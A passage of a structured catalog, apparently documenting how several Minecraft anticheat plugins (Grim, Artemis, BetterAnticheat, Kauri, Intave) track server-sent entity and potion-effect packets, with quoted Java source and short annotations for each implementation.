GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.WINDOW_ITEMS) {\n            WrapperPlayServerWindowItems items = new WrapperPlayServerWindowItems(event);\n\n            if (items.getWindowId() == 0) { // Player inventory\n                Runnable task = () -> {\n                    if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) {\n                        player.packetStateData.setSlowedByUsingItem(false);\n                        if (player.isResetItemUsageOnItemUpdate()) {\n                            GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                        }\n                    } else {\n                        if (items.getItems().size() > 45 && !player.inventory.getOffHand().is(items.getItems().get(45).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.OFF_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.OFF_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n\n                        if (!player.inventory.getHeldItem().is(items.getItems().get(player.packetStateData.lastSlotSelected + 36).getType())) {\n                            if (player.packetStateData.itemInUseHand == InteractionHand.MAIN_HAND) {\n                                player.packetStateData.setSlowedByUsingItem(false);\n                            }\n\n                            if (player.isResetItemUsageOnItemUpdate() && GrimAPI.INSTANCE.getItemResetHandler().getItemUsageHand(player.platformPlayer) == InteractionHand.MAIN_HAND) {\n                                GrimAPI.INSTANCE.getItemResetHandler().resetItemUsage(player.platformPlayer);\n                            }\n                        }\n                    }\n                };\n\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), task);\n                player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, task);\n            }\n        }\n\n        // 1.8 clients fail to send the RELEASE_USE_ITEM packet when a window is opened client sided while using an item\n        else if (event.getPacketType() == PacketType.Play.Server.OPEN_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.OPEN_HORSE_WINDOW) {\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> player.packetStateData.setSlowedByUsingItem(false));\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get() + 1, () -> player.packetStateData.setSlowedByUsingItem(false));\n        } else if (event.getPacketType() == PacketType.Play.Server.SET_PASSENGERS) {\n            WrapperPlayServerSetPassengers mount = new WrapperPlayServerSetPassengers(event);\n\n            int vehicleID = mount.getEntityId();\n            int[] passengers = mount.getPassengers();\n\n            handleMountVehicle(event, vehicleID, passengers);\n        } else if (event.getPacketType() == PacketType.Play.Server.ATTACH_ENTITY) {\n            WrapperPlayServerAttachEntity attach = new WrapperPlayServerAttachEntity(event);\n\n            // This packet was replaced by the mount packet on 1.9+ servers - to support multiple passengers on one vehicle\n            if (PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))\n                return;\n\n            // If this is mounting rather than leashing\n            if (!attach.isLeash()) {\n                // Alright, let's convert this to the 1.9+ format to make it easier for grim\n                int vehicleID = attach.getHoldingId();\n                int attachID = attach.getAttachedId();\n                TrackerData trackerData = player.compensatedEntities.getTrackedEntity(attachID);\n\n                if (trackerData != null) {\n                    // 1.8 sends a vehicle ID of -1 to dismount the entity from its vehicle\n                    // This is opposite of the 1.9+ format, which sends the vehicle ID and then an empty array.\n                    if (vehicleID == -1) { // Dismounting\n                        vehicleID = trackerData.getLegacyPointEightMountedUpon();\n                        handleMountVehicle(event, vehicleID, new int[]{}); // The vehicle is empty\n                    } else { // Mounting\n                        trackerData.setLegacyPointEightMountedUpon(vehicleID);\n                        handleMountVehicle(event, vehicleID, new int[]{attachID});\n                    }\n                } else {\n                    // I don't think we can recover from this... warn and move on as this shouldn't happen.\n                    LogUtil.warn(\"Server sent an invalid attach entity packet for entity \" + attach.getHoldingId() + \" with passenger \" + attach.getAttachedId() + \"! The client ignores this.\");\n                }\n            }\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            WrapperPlayServerDestroyEntities destroy = new WrapperPlayServerDestroyEntities(event);\n\n            int[] destroyEntityIds = destroy.getEntityIds();\n\n            for (int entityID : destroyEntityIds) {\n                despawnedEntitiesThisTransaction.add(entityID);\n                player.compensatedEntities.serverPositionsMap.remove(entityID);\n                // Remove the tracked vehicle (handling tracking knockback) if despawned\n                if (player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == entityID) {\n                    player.compensatedEntities.serverPlayerVehicle = null;\n                }\n            }\n\n            final int destroyTransaction = player.lastTransactionSent.get() + 1;\n            player.latencyUtils.addRealTimeTask(destroyTransaction, () -> {\n                for (int entityId : destroyEntityIds) {\n                    player.compensatedEntities.removeEntity(entityId);\n                    player.dashableEntities.removeEntity(entityId);\n                    player.fireworks.removeFirework(entityId);\n                    player.compensatedEntities.entitiesRemovedThisTick.add(entityId);\n                }\n            });\n\n            // Don't let the player freeze transactions to keep the firework boost velocity + uncertainty\n            // Also generally prevents people with high ping gaining too high an advantage in firework use\n            if (maxFireworkBoostPing > 0) {\n                player.runNettyTaskInMs(() -> {\n                    if (player.lastTransactionReceived.get() >= destroyTransaction) return;\n                    for (int entityID : destroyEntityIds) {\n                        // If the player has a firework boosting them, setback\n                        if (player.fireworks.hasFirework(entityID)) {\n                            player.getSetbackTeleportUtil().executeViolationSetback();\n                            break;\n                        }\n                    }\n                }, maxFireworkBoostPing);\n            }\n        }\n    }\n\n    private void handleMountVehicle(PacketSendEvent event, int vehicleID, int[] passengers) {\n        boolean wasInVehicle = player.compensatedEntities.serverPlayerVehicle != null && player.compensatedEntities.serverPlayerVehicle == vehicleID;\n        boolean inThisVehicle = false;\n\n        for (int passenger : passengers) {\n            inThisVehicle = passenger == player.entityID;\n            if (inThisVehicle) break;\n        }\n\n        if (inThisVehicle && !wasInVehicle) {\n            player.handleMountVehicle(vehicleID);\n        }\n\n        if (!inThisVehicle && wasInVehicle) {\n            player.handleDismountVehicle(event);\n        }\n        // Better lag compensation if we were affected by this\n        if (wasInVehicle || inThisVehicle) {\n            player.sendTransaction();\n        }\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity vehicle = player.compensatedEntities.getEntity(vehicleID);\n\n            // Vanilla likes sending null vehicles, so we must ignore those like the client ignores them\n            if (vehicle == null) return;\n\n            // Eject existing passengers for this vehicle\n            for (PacketEntity passenger : new ArrayList<>(vehicle.passengers)) {\n                passenger.eject();\n            }\n\n            // Add the entities as vehicles\n            for (int entityID : passengers) {\n                PacketEntity passenger = player.compensatedEntities.getEntity(entityID);\n                if (passenger == null) continue;\n                passenger.mount(vehicle);\n            }\n        });\n    }\n\n    private void handleMoveEntity(PacketSendEvent event, int entityId, double deltaX, double deltaY, double deltaZ, Float yaw, Float pitch, boolean isRelative, boolean hasPos) {\n        TrackerData data = player.compensatedEntities.getTrackedEntity(entityId);\n\n        final boolean didNotSendPreWave = hasSentPreWavePacket.compareAndSet(false, true);\n        if (didNotSendPreWave) player.sendTransaction();\n\n        if (data != null) {\n            // Update the tracked server's entity position\n            if (isRelative) {\n                // There is a bug where vehicles may start flying due to mojang setting packet position on the client\n                // (Works at 0 ping but causes funny bugs at any higher ping)\n                // As we don't want vehicles to fly, we need to replace it with a teleport if it is player vehicle\n                //\n                // Don't bother with client controlled vehicles though\n                boolean vanillaVehicleFlight = player.compensatedEntities.serverPlayerVehicle != null\n                        && player.compensatedEntities.serverPlayerVehicle == entityId\n                        && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_9)\n                        // TODO: https://discord.com/channels/721686193061888071/721686193515003966/1310659538831020123\n                        // Why does the server now send an entity rel move packet matching the player's vehicle movement every time?\n                        && PacketEvents.getAPI().getServerManager().getVersion().isOlderThan(ServerVersion.V_1_21_2)\n                        && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9);\n\n                // ViaVersion sends two relative packets when moving more than 4 blocks\n                // This is broken and causes the client to interpolate like (0, 4) and (1, 3) instead of (1, 7)\n                // This causes impossible hits, so grim must replace this with a teleport entity packet\n                // Not ideal, but neither is 1.8 players on a 1.9+ server.\n                if (vanillaVehicleFlight ||\n                        ((Math.abs(deltaX) >= 3.9375 || Math.abs(deltaY) >= 3.9375 || Math.abs(deltaZ) >= 3.9375) && player.getClientVersion().isOlderThan(ClientVersion.V_1_9) && PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_9))) {\n                    player.user.writePacket(new WrapperPlayServerEntityTeleport(entityId, new Vector3d(data.getX() + deltaX, data.getY() + deltaY, data.getZ() + deltaZ), yaw == null ? data.getXRot() : yaw, pitch == null ? data.getYRot() : pitch, false));\n                    event.setCancelled(true);\n                    return;\n                }\n\n                data.setX(data.getX() + deltaX);\n                data.setY(data.getY() + deltaY);\n                data.setZ(data.getZ() + deltaZ);\n            } else {\n                data.setX(deltaX);\n                data.setY(deltaY);\n                data.setZ(deltaZ);\n            }\n            if (yaw != null) {\n                data.setXRot(yaw);\n                data.setYRot(pitch);\n            }\n\n            // We can't hang two relative moves on one transaction\n            if (data.getLastTransactionHung() == player.lastTransactionSent.get()) {\n                player.sendTransaction();\n            }\n            data.setLastTransactionHung(player.lastTransactionSent.get());\n        }\n\n        int lastTrans = player.lastTransactionSent.get();\n\n        player.latencyUtils.addRealTimeTask(lastTrans, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            if (entity instanceof PacketEntityTrackXRot xRotEntity && yaw != null) {\n                xRotEntity.packetYaw = yaw;\n                xRotEntity.steps = entity.isBoat ? 10 : 3;\n            }\n\n            entity.onFirstTransaction(isRelative, hasPos, deltaX, deltaY, deltaZ, player);\n        });\n\n        player.latencyUtils.addRealTimeTask(lastTrans + 1, () -> {\n            PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n            if (entity == null) return;\n            entity.onSecondTransaction();\n        });\n    }\n\n    public void addEntity(int entityID, UUID uuid, EntityType type, Vector3d position, float xRot, float yRot, List<EntityData<?>> entityMetadata, int extraData) {\n        if (despawnedEntitiesThisTransaction.contains(entityID)) {\n            player.sendTransaction();\n        }\n\n        player.compensatedEntities.serverPositionsMap.put(entityID, new TrackerData(position.getX(), position.getY(), position.getZ(), xRot, yRot, type, player.lastTransactionSent.get()));\n\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity entity = player.compensatedEntities.addEntity(entityID, uuid, type, position, xRot, extraData);\n            if (entity instanceof DashableEntity dashable) {\n                player.dashableEntities.addEntity(entityID, dashable);\n            }\n\n            if (entityMetadata != null) {\n                if (EntityMetadataPoseUtil.usesPoseMetadata(entity) && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_14)) {\n                    Pose initialPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata);\n                    if (initialPose != null) {\n                        entity.currentPose = initialPose;\n                    }\n                }\n\n                player.compensatedEntities.updateEntityMetadata(entityID, entityMetadata);\n            }\n        });\n    }\n\n    private void schedulePoseTransition(WrapperPlayServerEntityMetadata entityMetadata, PacketSendEvent event) {\n        if (player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) return;\n\n        int entityId = entityMetadata.getEntityId();\n        if (entityId == player.entityID) return;\n\n        Pose newPose = EntityMetadataPoseUtil.getPoseFromMetadata(entityMetadata.getEntityMetadata());\n        if (newPose == null) return;\n\n        boolean shouldTrackPoseTransition = false;\n        PacketEntity entity = player.compensatedEntities.getEntity(entityId);\n        if (entity != null) {\n            shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(entity);\n        } else {\n            // If the client didn't respond to the spawn packet yet, we need to check if we should track the pose transition based on the entity type\n            // is there a better way to do this?\n            TrackerData trackedEntity = player.compensatedEntities.getTrackedEntity(entityId);\n            if (trackedEntity != null) {\n                shouldTrackPoseTransition = EntityMetadataPoseUtil.usesPoseMetadata(trackedEntity.getEntityType());\n            }\n        }\n\n        if (!shouldTrackPoseTransition) return;\n\n        player.sendTransaction();\n        player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n            PacketEntity target = player.compensatedEntities.getEntity(entityId);\n            if (target == null) {\n                return;\n            }\n\n            target.beginPoseTransition(newPose);\n        });\n\n        event.getTasksAfterSend().add(() -> {\n            player.sendTransaction();\n            player.latencyUtils.addRealTimeTask(player.lastTransactionSent.get(), () -> {\n                PacketEntity target = player.compensatedEntities.getEntity(entityId);\n                if (target == null) {\n                    return;\n                }\n\n                target.completePoseTransition(newPose);\n            });\n        });\n    }\n\n    private boolean isDirectlyAffectingPlayer(GrimPlayer player, int entityID) {\n        // The attributes for this entity is active, currently\n        return (player.compensatedEntities.serverPlayerVehicle == null && entityID == player.entityID) ||\n                (player.compensatedEntities.serverPlayerVehicle != null && entityID == player.compensatedEntities.serverPlayerVehicle);\n    }\n\n    public void onEndOfTickEvent(boolean async, boolean flush) {\n        // Only send a transaction at the end of the tick if we are tracking players\n        player.sendTransaction(async);\n        if (flush) player.user.flushPackets();\n    }\n\n    public void tickStartTick() {\n        hasSentPreWavePacket.set(false);\n    }\n\n    @Override\n    public void onReload(@NotNull ConfigManager config) {\n        maxFireworkBoostPing = config.getIntElse(\"max-ping-firework-boost\", 1000);\n    }\n\n}\n// NOTE (AI): The entity-effect branches sit at lines 193-233; the rest of the file replicates other clientbound state (player info, attributes, status, slots) through the same transaction mechanism.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketEntityReplication.java",
       "variations": "Artemis (PotionPreProcessor, EmulatorPreProcessor) and BetterAnticheat (PotionTracker) use the same transaction-confirmed pattern; Kauri's PotionHandler adds the effect into a thread-safe list; Intave decodes the fields with EntityEffectReader."
      },
      {
       "name": "Potion preprocessor (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Maintain the user's active effect list from the entity-effect packet so checks and the emulator can read current potion modifiers.",
       "how_it_works": "fastHandle matches GPacketPlayServerEntityEffect, builds a PotionEffect from the effect id, duration and amplifier, then queues the add behind a transaction confirmation: pre() inserts the effect and marks it processed, post() clears the marker. It also clears the using-item flag when the effect ends item use.",
       "detects": "Nothing directly; it feeds checks that must distinguish potion-boosted motion from cheat motion.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/potion/PotionPreProcessor.java =====\npackage ac.artemis.core.v4.processor.potion;\n\nimport ac.artemis.core.v4.check.FastProcessHandler;\nimport ac.artemis.core.v4.data.holders.ConnectionHolder;\nimport ac.artemis.core.v4.utils.function.PacketAction;\nimport cc.ghast.packet.PacketAPI;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport cc.ghast.packet.wrapper.packet.play.client.GPacketPlayClientTransaction;\n\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.emulator.potion.PotionEffect;\nimport ac.artemis.core.v4.processor.AbstractHandler;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityEffect;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityEffectRemove;\n\nimport java.util.Map;\nimport java.util.Random;\nimport java.util.WeakHashMap;\n\npublic class PotionPreProcessor extends AbstractHandler implements FastProcessHandler {\n    public PotionPreProcessor(PlayerData data) {\n        super(\"Potion [0x01]\", data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n\n    }\n\n    @Override\n    public void fastHandle(GPacket packet) {\n        if (packet instanceof GPacketPlayServerEntityEffect) {\n            final GPacketPlayServerEntityEffect eff = (GPacketPlayServerEntityEffect) packet;\n            if (eff.getEntityId() == data.getPlayer().getEntityId()) {\n\n                final PotionEffect effect = new PotionEffect(eff.getEffectId(), eff.getDuration(), eff.getAmplifier());\n\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.user.getEffects().add(effect);\n                        data.user.setLastAddEffect(effect);\n                        data.user.setEffectAddProcessed(true);\n\n                        if (data.user.isUsingItem() && data.user.isUsingPotion()) {\n                            data.user.setUsingItem(false);\n                            data.user.setUsingPotion(false);\n                        }\n                    }\n\n                    @Override\n                    public void post() {\n                        data.user.setEffectAddProcessed(false);\n                    }\n                });\n            }\n        }\n\n        else if (packet instanceof GPacketPlayServerEntityEffectRemove) {\n            final GPacketPlayServerEntityEffectRemove eff = (GPacketPlayServerEntityEffectRemove) packet;\n            if (eff.getEntityId() == data.getPlayer().getEntityId()) {\n\n                final PotionEffect effect = data.user.getEffects().parallelStream().filter(e -> e.getPotionID() == eff.getEffectId()).findAny().orElse(null);\n\n                if (effect == null) return;\n\n                data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                    @Override\n                    public void pre() {\n                        data.user.getEffects().remove(effect);\n                        data.user.setLastRemoveEffect(effect);\n                        data.user.setEffectRemoveProcessed(true);\n                    }\n\n                    @Override\n                    public void post() {\n                        data.user.setEffectRemoveProcessed(false);\n                    }\n                });\n            }\n        }\n    }\n}\n// NOTE (AI): The S1D branch is lines 32-57; the sibling remove branch (lines 59-81) is documented under S1EPacketRemoveEntityEffect.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/potion/PotionPreProcessor.java",
       "variations": "The same anticheat's EmulatorPreProcessor applies the identical pattern to the emulated entity; Grim and BetterAnticheat use equivalent confirmations."
      },
      {
       "name": "Potion tracker (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Track each potion type's amplifier and duration as a lag-compensated many-state so checks read the effect that actually reached the client.",
       "how_it_works": "PotionTracker subscribes to ENTITY_EFFECT on the send side, takes a confirmation handle, and stages the new Potion in an ObjectManyState: addNew on begin, flushOld plus an active-count after the client confirms. REMOVE_ENTITY_EFFECT stages an EMPTY_POTION the same way so an expired effect cannot linger.",
       "detects": "Nothing by itself; getPotion() exposes the confirmed state to checks that need the speed or jump modifier.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/potion/PotionTracker.java =====\npackage better.anticheat.core.player.tracker.impl.potion;\n\nimport better.anticheat.core.player.Player;\nimport better.anticheat.core.player.tracker.Tracker;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.event.simple.PacketPlaySendEvent;\nimport com.github.retrooper.packetevents.protocol.attribute.Attributes;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.protocol.potion.PotionTypes;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerRemoveEntityEffect;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerUpdateAttributes;\nimport it.unimi.dsi.fastutil.objects.Object2ObjectArrayMap;\nimport wtf.spare.sparej.incrementer.IntIncrementer;\nimport wtf.spare.sparej.xstate.manystate.ObjectManyState;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Map;\n\npublic class PotionTracker extends Tracker {\n\n    private static final Potion EMPTY_POTION = new Potion(0, -1);\n\n    private final Map<PotionType, ObjectManyState<Potion>> potionMap = new Object2ObjectArrayMap<>();\n\n    public PotionTracker(Player player) {\n        super(player);\n\n        for (PotionType potionType : PotionTypes.values()) {\n            ObjectManyState<Potion> newManyState = new ObjectManyState<>();\n            newManyState.addNew(EMPTY_POTION);\n            potionMap.put(potionType, newManyState);\n        }\n    }\n\n    public ObjectManyState<Potion> getPotion(PotionType potionType) {\n        return potionMap.get(potionType);\n    }\n\n    @Override\n    public void handlePacketPlayReceive(PacketPlayReceiveEvent event) {\n        if (event.getPacketType() != PacketType.Play.Client.CLIENT_TICK_END) return;\n\n        // Prevent concurrent modifications.\n        List<PotionType> removals = new ArrayList<>();\n\n        /*\n         * TODO: Figure out if this is necessary.\n         * If I'm totally honest, I don't know whether the server or client has definitive control of when a potion\n         * has ended. I'd assume based on\n        for (PotionType key : potionMap.keySet()) {\n            ObjectManyState<Potion> potions = potionMap.get(key);\n\n            if (potions.getCurrent().getActiveCount() != null) {\n                potions.getCurrent().getActiveCount().increment();\n                if (!potions.getCurrent().isActive()) removals.add(key);\n                continue;\n            }\n\n            if (potions.getOld() != null && potions.getOld().getActiveCount() != null) {\n                potions.getOld().getActiveCount().increment();\n                if (!potions.getOld().isActive()) potions.flushOld();\n            }\n        }\n\n        for (PotionType potionType : removals) potionMap.remove(potionType);\n         */\n    }\n\n    @Override\n    public void handlePacketPlaySend(PacketPlaySendEvent event) {\n        switch (event.getPacketType()) {\n            case ENTITY_EFFECT -> {\n                WrapperPlayServerEntityEffect wrapper = new WrapperPlayServerEntityEffect(event);\n                if (wrapper.getEntityId() != player.getUser().getEntityId()) return;\n\n                var confirmation = player.getConfirmationTracker().confirm();\n\n                Potion potion = new Potion(wrapper.getEffectAmplifier(), wrapper.getEffectDurationTicks());\n                confirmation.onBegin(() -> {\n                    potionMap.get(wrapper.getPotionType()).addNew(potion);\n                });\n                confirmation.onAfterConfirm(() -> {\n                    potionMap.get(wrapper.getPotionType()).flushOld();\n                    potion.setActiveCount(new IntIncrementer(0));\n                });\n            }\n            case REMOVE_ENTITY_EFFECT -> {\n                WrapperPlayServerRemoveEntityEffect wrapper = new WrapperPlayServerRemoveEntityEffect(event);\n                if (wrapper.getEntityId() != player.getUser().getEntityId()) return;\n\n                event.getUser().sendMessage(\"Removed potion!\");\n\n                var confirmation = player.getConfirmationTracker().confirm();\n\n                /*\n                 * When this packet is beginning to be received, we should begin to transition to an empty potion state\n                 * for this effect. By the time it has been officially received, we should remove the old potion that\n                 * was in there.\n                 */\n                confirmation.onBegin(() -> potionMap.get(wrapper.getPotionType()).addNew(EMPTY_POTION));\n                confirmation.onAfterConfirm(() -> potionMap.get(wrapper.getPotionType()).flushOld());\n            }\n        }\n    }\n}\n// NOTE (AI): The ENTITY_EFFECT branch is lines 75-89; the remove branch is lines 90-105. The commented block in handlePacketPlayReceive is an abandoned tick-based expiry idea.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/potion/PotionTracker.java",
       "variations": "Grim and Artemis use transaction confirmations rather than a confirmation tracker; FlopAC polls Bukkit's getActivePotionEffects instead of reading the packet."
      },
      {
       "name": "Potion handler (Kauri)",
       "found_in": [
        "funkemunky-KauriV3"
       ],
       "purpose": "Keep a thread-safe potion effect list on the player data so movement and velocity checks can query current modifiers.",
       "how_it_works": "PotionHandler seeds the list from the Bukkit player's active effects at construction, then onPotionEffect(WrapperPlayServerEntityEffect) replaces the entry for the potion type under a write lock, storing the amplifier, duration and visibility flags. hasPotionEffect and getEffectByType expose the state to checks.",
       "detects": "Nothing directly; the handler is the query surface for checks that must subtract potion-boosted motion from the allowed envelope.",
       "detailed_code": "// ===== FILE: funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/PotionHandler.java =====\npackage dev.brighten.ac.handler;\n\nimport com.github.retrooper.packetevents.protocol.potion.PotionType;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerFlying;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityEffect;\nimport dev.brighten.ac.data.APlayer;\nimport dev.brighten.ac.utils.KPotionEffect;\nimport dev.brighten.ac.utils.KProperties;\nimport io.github.retrooper.packetevents.util.SpigotConversionUtil;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Optional;\nimport java.util.concurrent.locks.ReadWriteLock;\nimport java.util.concurrent.locks.ReentrantReadWriteLock;\n\npublic class PotionHandler {\n    private final APlayer data;\n\n    private final List<KPotionEffect> potionEffects = new ArrayList<>();\n    private final ReadWriteLock lock = new ReentrantReadWriteLock();\n\n    public PotionHandler(APlayer data) {\n        this.data = data;\n\n        lock.writeLock().lock();\n\n        try {\n            data.getBukkitPlayer().getActivePotionEffects().stream()\n                    .map(pe ->\n                            new KPotionEffect(\n                                    SpigotConversionUtil.fromBukkitPotionEffectType(pe.getType()),\n                                    KProperties.fromBukkit(pe)\n                            ))\n                    .forEach(potionEffects::add);\n        } finally {\n            lock.writeLock().unlock();\n        }\n    }\n\n    public void onFlying(WrapperPlayClientPlayerFlying packet) {\n        lock.readLock().lock();\n        try {\n            for (KPotionEffect effect : potionEffects) {\n                lock.readLock().lock();\n\n                try {\n                    if (data.getBukkitPlayer().hasPotionEffect(SpigotConversionUtil.toBukkitPotionEffectType(effect.potionType()))) continue;\n\n                    data.runKeepaliveAction(d -> {\n                        lock.writeLock().lock();\n                        try {\n                            data.getPotionHandler().potionEffects.remove(effect);\n                        } finally {\n                            lock.writeLock().unlock();\n                        }\n                    });\n                } finally {\n                    lock.readLock().unlock();\n                }\n            }\n        } finally {\n            lock.readLock().unlock();\n        }\n    }\n\n    public void onPotionEffect(WrapperPlayServerEntityEffect packet) {\n        data.runKeepaliveAction(d -> {\n            var type = packet.getPotionType();\n            lock.writeLock().lock();\n            try {\n                data.getPotionHandler().potionEffects.removeIf(pe -> pe.potionType().equals(type));\n                data.getPotionHandler().potionEffects\n                        .add(new KPotionEffect(type, new KProperties(packet.getEffectAmplifier()\n                                , packet.getEffectDurationTicks(),\n                                packet.isAmbient(), packet.isVisible(), packet.isShowIcon(), null)));\n            } finally {\n                lock.readLock().unlock();\n            }\n        });\n    }\n\n    public boolean hasPotionEffect(PotionType type) {\n        lock.readLock().lock();\n        try {\n            for (KPotionEffect potionEffect : potionEffects) {\n                if (potionEffect.potionType().equals(type))\n                    return true;\n            }\n            return false;\n        } finally {\n            lock.readLock().unlock();\n        }\n    }\n\n    public Optional<KPotionEffect> getEffectByType(PotionType type) {\n        lock.readLock().lock();\n        try {\n            for (KPotionEffect potionEffect : potionEffects) {\n                if (potionEffect.potionType().equals(type))\n                    return Optional.of(potionEffect);\n            }\n            return Optional.empty();\n        } finally {\n            lock.readLock().unlock();\n        }\n    }\n\n    public List<KPotionEffect> getPotionEffects() {\n        lock.readLock().lock();\n\n        try {\n            return new ArrayList<>(potionEffects);\n        } finally {\n            lock.readLock().unlock();\n        }\n    }\n}\n// NOTE (AI): onPotionEffect (lines 67-81) is the S1D consumer; the onFlying path polls Bukkit state to catch expiries the server already removed.",
       "code_source": "funkemunky-KauriV3, Anticheat/src/main/java/dev/brighten/ac/handler/PotionHandler.java",
       "variations": "Artemis and Grim decode the packet into their own effect model; Tecnio whitelists both effect packets in NetworkFilter and tracks potion levels in AttributeTracker."
      },
      {
       "name": "Entity effect reader (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Extract effect type, amplifier and duration from the entity-effect packet across every supported protocol version.",
       "how_it_works": "EntityEffectReader is registered for the ENTITY_EFFECT packet in PacketReaders. effectType() reads the potion-type field on 1.19+, the integer slot on 1.18.2, and the legacy byte below; effectAmplifier() and effectDuration() shift their field indexes at 1.21. Each accessor falls back to 0 on a missing field.",
       "detects": "Nothing by itself; the reader feeds the effect tracker that movement characteristics consume.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/EntityEffectReader.java =====\npackage de.jpx3.intave.packet.reader;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport de.jpx3.intave.adapter.MinecraftVersions;\nimport org.bukkit.potion.PotionEffectType;\n\nimport static de.jpx3.intave.adapter.MinecraftVersions.VER1_21;\n\npublic final class EntityEffectReader extends EntityReader {\n  private static final boolean SECURE_CHAT = MinecraftVersions.VER1_19.atOrAbove();\n  private static final boolean CAVE_AND_CLIFFS = MinecraftVersions.VER1_18_2.atOrAbove();\n\n  public int effectType() {\n    PacketContainer packet = packet();\n    if (SECURE_CHAT) {\n      PotionEffectType potionEffectType = packet.getEffectTypes().readSafely(0);\n      if (potionEffectType == null) {\n        return 0;\n      }\n      //noinspection deprecation\n      return potionEffectType.getId();\n    } else if (CAVE_AND_CLIFFS) {\n      Integer potionEffectType = packet.getIntegers().readSafely(1);\n      if (potionEffectType == null) {\n        return 0;\n      }\n      return potionEffectType;\n    } else {\n      Byte potionEffectType = packet.getBytes().readSafely(0);\n      if (potionEffectType == null) {\n        potionEffectType = 0;\n      }\n      return potionEffectType;\n    }\n  }\n\n  public int effectAmplifier() {\n    PacketContainer packet = packet();\n    if (VER1_21.atOrAbove()) {\n      Integer potionEffectAmplifier = packet.getIntegers().readSafely(1);\n      if (potionEffectAmplifier == null) {\n        potionEffectAmplifier = 0;\n      }\n      return potionEffectAmplifier;\n    } else {\n      Byte potionEffectAmplifier = packet.getBytes().readSafely(CAVE_AND_CLIFFS ? 0 : 1);\n      if (potionEffectAmplifier == null) {\n        potionEffectAmplifier = 0;\n      }\n      return potionEffectAmplifier;\n    }\n  }\n\n  public int effectDuration() {\n    int fieldIndex = VER1_21.atOrAbove() ? 3 : (CAVE_AND_CLIFFS && !SECURE_CHAT ? 2 : 1);\n    Integer potionEffectDuration = 